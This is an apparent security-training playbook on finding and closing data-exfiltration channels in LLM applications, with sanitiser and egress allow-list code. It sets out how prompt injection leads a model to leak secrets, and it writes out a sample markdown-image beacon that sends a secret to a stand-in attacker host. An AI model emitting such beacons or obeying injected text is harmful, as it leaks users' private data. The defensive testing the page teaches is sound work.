BXUP Track progress & test yourself — free
Security & AI Security · Playbook · Advanced · ~4 min read
SECURITY & AI SECURITY · PLAYBOOK · ADVANCED

Hunt Exfiltration Vectors and Close the Egress Channel

Prompt injection only turns into data theft if the model has a way to send stolen data out. The subtlest of these are the exfiltration channels hiding in ordinary output-rendering: a markdown image whose URL carries stolen text, an auto-rendered link, a tool that fetches a URL the model chose.

Tier: Advanced · Workflow area: LLM attack surface & defense

This is the third leg of the lethal trifecta and the class of bug Johann Rehberger's "Month of AI Bugs" work made famous. This playbook hunts those channels in your own app and closes them, so that even a successful injection has nowhere to exfiltrate to.

When to reach for this

  • Your app renders model output as markdown/HTML, or an agent can make outbound requests.
  • The model has access to private data and is exposed to untrusted content (the exfil leg is what completes the trifecta).
  • You're doing a deep security pass and need to enumerate every way data could leave.

The workflow

Threat, briefly. After an injection makes the model read a secret, the attacker needs an egress. The classic vector: the model emits ![x](https://attacker.example/log?d=<secret>); your UI auto-loads the image and the secret rides out in the query string — no click required. Variants: auto-rendered links, an agent's fetch/http tool, webhook or email tools, and DNS lookups.

  1. Enumerate every outbound channel. List each way bytes leave the boundary: image/link rendering, any tool that makes network calls, file writes to shared storage, email/webhook actions, and logging to external sinks. This is the attack surface.

  2. Disable auto-loading of model-supplied URLs. The highest-value fix. Do not auto-render images or fetch links whose URL came from model output. Strip image markdown, or gate rendering to an allow-list of trusted domains.

    import re
    ALLOW = {"cdn.yourco.com", "assets.yourco.com"}
    def strip_untrusted_media(md: str) -> str:
        def ok(m):
            host = re.sub(r"^https?://([^/]+).*", r"\1", m.group(1))
            return m.group(0) if host in ALLOW else ""   # drop the image
        return re.sub(r"!\[[^\]]*\]\((https?://[^)]+)\)", ok, md)
    
  3. Put an egress allow-list on every network-capable tool. An agent's HTTP/fetch tool must only reach approved hosts; deny by default. Block private/link-local ranges to kill SSRF-style pivots.

    from urllib.parse import urlparse
    def egress_ok(url: str) -> bool:
        host = urlparse(url).hostname or ""
        return host in ALLOW and not host.startswith(("10.", "127.", "169.254."))
    
  4. Encode output at the sink. Escaping model output (pb-28) also prevents it from becoming active markup that triggers a request. Encoding and egress control reinforce each other.

  5. Prefer removing the exfil leg over patching each vector. If the feature doesn't truly need outbound calls or media rendering, remove the capability — that eliminates the whole class, which is the Rule-of-Two logic applied to egress.

  6. Hunt the channels on your local app. Plant a canary secret in a private context, inject a payload that tries to exfiltrate it through each channel, and confirm nothing leaves.

    # local target + local sink you own: prove no beacon fires
    # tail your local "attacker" listener; it must receive NOTHING
    nc -lk 9099 &   # canary listener; expect zero connections after the run
    
Warning

A markdown image the user never clicks is a zero-click exfiltration channel. Auto-rendering model-supplied URLs is the single most common way injected data escapes.

Verify before you trust it

The defense holds when the canary never reaches your listener. Set up a local sink you control, plant a canary secret in the model's private context, and run injections that attempt exfil via image, link, and tool fetch. Success criteria:

  • Image beacon stripped: the markdown-image beacon is stripped and your listener receives zero connections.
  • Egress denied: the agent's fetch to the attacker host is denied by the egress allow-list and logged.
  • Undefended build still beacons: the same run on the undefended build does beacon out — so you've proven the channel exists and that your control, not luck, closes it.

Automate the listener assertion so any reopening of a channel fails CI.

Pitfalls

  • Allow-listing by URL substring.cdn.yourco.com.attacker.example passes a naive contains check. Parse the host and match exactly.
  • Forgetting DNS and error channels. Data can leak via DNS lookups, verbose error messages, or logs shipped off-box, not just HTTP. Enumerate all sinks.
  • Rendering "safe" link previews. Auto-fetching a link to build a preview is itself an egress request the attacker controls. Gate it.
  • Egress control on some tools but not others. One un-allow-listed network tool reopens the channel. Apply the policy uniformly and deny by default.
  • Trusting the model not to construct the URL. Under injection it will. The control must be in the renderer and the tool layer, not the prompt.

Tools

  • An egress proxy / allow-list (Envoy/Squid-class or a tool-level URL filter) — deny-by-default outbound control for agent tools.
  • HTML/markdown sanitizers (DOMPurify/bleach-class) — strip untrusted media and dangerous URI schemes at render.
  • Rehberger-class exfil probes / Promptfoo red-teamautomated checks that attempt markdown-image and link exfiltration against your local app.

Client-safe variant

Exfiltration hunting is content-agnostic — you are testing whether any bytes can leave, using a canary you plant, so no real client data is needed. Run the canary listener and the injection payloads inside the client-approved environment, and if their app renders client documents, do the media-stripping and egress allow-listing there. The deliverable is a map of every outbound channel with its control state, which is exactly what a client's data-protection review wants to see for a system that touches personal data: proof that even a compromised model has no path to send that data off-network.

This is the free reading view. Open BXUP to track your progress, run the hands-on labs, and prove it with original, exam-pattern assessments.
© Anvi Innovate · BXUP — Be Exponentially Upskilled · BXUP is an independent learning platform, not affiliated with or endorsed by AWS, Microsoft, Google, NVIDIA, IBM, Salesforce, Databricks, Oracle or Anthropic. All trademarks belong to their respective owners. · bxup.in